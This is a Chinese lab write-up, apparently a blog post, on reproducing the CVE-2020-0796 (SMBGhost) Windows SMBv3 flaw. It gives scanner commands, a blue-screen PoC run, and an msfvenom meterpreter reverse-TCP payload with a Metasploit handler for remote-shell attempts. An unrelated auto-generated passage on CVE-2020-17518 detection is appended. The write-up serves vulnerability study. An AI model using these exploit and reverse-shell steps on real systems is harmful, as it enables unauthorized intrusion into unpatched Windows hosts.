漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决

本文详细介绍了永恒之黑漏洞(CVE-2020-0796)的危害、成因及影响Windows版本。通过实际操作演示了如何检测漏洞、准备攻击环境、利用奇安信工具扫描以及通过蓝屏payload进行攻击。同时,提到了利用msfvenom生成payload并结合SMBGhost_RCE_PoC进行攻击的步骤,但指出该漏洞利用可能不稳定,需要合适的靶机环境才能复现。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞简介

永恒之黑漏洞与“永恒之蓝”漏洞极为相似,都是利用 “Windows SMB服务” 漏洞远程攻击获取系统最高权限。

漏洞危害等级:高危

“永恒之黑”漏洞高危之处在于对SMB客户端的攻击,攻击者可以通过构造一个“特制”的网页、压缩包、共享目录、OFFICE文档等,向攻击目标发送,一旦被攻击者打开则瞬间触发漏洞受到攻击。

攻击原理:
本漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,攻击方可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。永恒之黑一旦被成功利用,其危害不亚于永恒之蓝。

漏洞成因:
CVE-2020-0796 漏洞存在于受影响版本的 Windows 驱动 srv2.sys 中,由于 Windows SMB 更新到 3.1.1 版本增加了对压缩数据的支持,未对用户传输的压缩数据的合法性进行校验。

受影响的Windows版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

环境准备

1 一个受影响的windows版本
我准备的是Windows10 1903企业版 64位(特地自己装了一下)
需要镜像的建议去https://msdn.itellyou.cn网站下载自己需要的。

[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]
确认当前作为靶机的Windows系统是受影响的版本

Windows版本,按win+r,在弹出运行窗口中,输入 winver
在这里插入图片描述

在这里插入图片描述

[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]

其次要开启SMB服务:
win10如何开启SMB服务?
1、“win+R”快捷键弹出运行窗口,输入control确定;
在这里插入图片描述
2、在弹出窗口点击“程序”;
在这里插入图片描述
3、在弹出窗口点击“启用或关闭Windows功能”;

在这里插入图片描述

4、在弹出窗口点击“SMB 1.0/CIFS文件共享支持”进行全选,确定;
在这里插入图片描述

5、在弹出窗口等待搜索需要的文件,接着会自动进行功能启用;
在这里插入图片描述

6、在弹出窗口如图下,重启电脑即可(请保存好所打开文件再进行重启);
在这里插入图片描述

2 正常的电脑(也是win,因为要执行exe文件)

靶机IP:172.16.135.138
攻击机IP:172.16.135.137

利用流程

【1】使用奇安信的漏洞探测工具
在这里插入图片描述

直接在cmd中启动 CVE-2020-0796-Scanner.exe
(建议不要双击打开,否则容易“闪退”)

根据提示输入扫描目标IP 或者扫描IP范围

(这里为了方便,直接扫172.16.135.138-172.16.135.142)
在这里插入图片描述

【2】准备蓝屏payload
使用CVE-2020-0796 蓝屏工具进行攻击
在这里插入图片描述

python3 CVE-2020-0796.py <查询到存在漏洞的IP>

python3 CVE-2020-0796.py 172.16.135.138

如果靶机没有蓝屏就重新攻击一下(第1坑:kali的3.9一直不行,换了真机的3.10就可以了)
真机复现:
在这里插入图片描述

在这里插入图片描述

python3.9
用kali,死活不跳转
在这里插入图片描述
用虚拟机win10:
在这里插入图片描述

检测的其他方法

除了用奇安信的漏洞探测工具CVE-2020-0796-Scanner.exe,还可以尝试:SMBGhost

(1)SMBGhost

下载地址:https://github.com/ollypwn/SMBGhost

下载:

git clone https://github.com/ly4k/SMBGhost.git

扫描:

python3 scanner.py <IP>

在这里插入图片描述

(2)使用蓝屏payload,验证漏洞

蓝屏POC地址:https://github.com/chompie1337/SMBGhost_RCE_PoC

安装:

git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git

用法

python exploit.py -ip 192.168.142.131

不成功的建议切换python版本。(坑点2:用python3.9就无法复现,但是3.10就可以)
下图是我用3.10复现成功的
在这里插入图片描述

在这里插入图片描述

但是3.9就不行:
在这里插入图片描述
要么是:
在这里插入图片描述
。。。。

利用msf生成exp反弹shell

首先

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.135.203 lport=1335 -b '\x00' -f python

在这里插入图片描述

各个参数的意义:

-p 指定需要使用的payload(攻击荷载)是windows/x64/meterpreter/bind_tcp
lport 指定端口
-b   设定规避字符集,比如: '\x00\xff'避免使用的字符
-i    指定payload的编码次数
-f   指定输出格式

然后结合SMBGhost_RCE_PoC-master进行攻击。
注意:
SMBGhost_RCE_PoC-master中的exploit.py 原文件不能直接用来攻击,需要修改其中的 USER_PAYLOAD 部分;
在这里插入图片描述

启动msf
msfconsole

使用监听模块:
use exploit/multi/handler
设置payload
set payload windows/x64/meterpreter/reverse_tcp
配置options
然后run

然后回到SMBGhost_RCE_PoC-master进行攻击:
python3 exploit.py -ip
在这里插入图片描述

然后按回车就得到shell
反正蓝屏是得到了:
在这里插入图片描述

但是没有得到shell,然后我又换了一台Kali,还是不行…
后来问了一个大佬,说这个洞本身可以弹shell,但是不是很稳定。用的也不是很多。

应该是靶机问题。换个真正有问题的靶机能够复现。

### 关于CVE-2020-17518漏洞检测工具的信息 对于CVE-2020-17518这一特定的安全漏洞,目前公开可用的资源主要集中在官方安全公告和技术社区分享的经验上。然而,在提及其他类似性质的漏洞及其对应检测手段时,可以观察到针对具体漏洞通常会有专门开发或推荐使用的检测方法和工具。 例如,针对SMBv3协议中的远程代码执行漏洞CVE-2020-0796,存在由奇安信提供的专用扫描器来帮助识别受影响系统[^1]。虽然这并不是直接适用于CVE-2020-17518的解决方案,但这种模式表明,对于重要级别的漏洞,往往会有第三方厂商或是开源项目提供相应的检测支持。 为了有效应对CVE-2020-17518这样的漏洞,建议采取以下措施: #### 使用通用型漏洞扫描软件 市场上有许多成熟的商业级以及免费版的漏洞管理平台能够覆盖广泛的已知漏洞库更新,这些平台可能会包含对新发布的高危漏洞的支持,如Nessus, OpenVAS等。 #### 官方补丁与指南遵循 制造商或维护者会发布关于如何修复该问题的具体指导文件,包括但不限于升级路径说明文档、配置更改提示等内容。对于开发者而言,及时跟踪并应用来自官方渠道的安全通告至关重要。 ```bash # 更新系统包至最新版本以获得必要的安全修补程序 sudo apt-get update && sudo apt-get upgrade -y ``` 考虑到不同环境下的具体情况差异较大,最可靠的做法还是查阅相关组件供应商所提供的资料,并按照其指示操作来进行防护工作。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值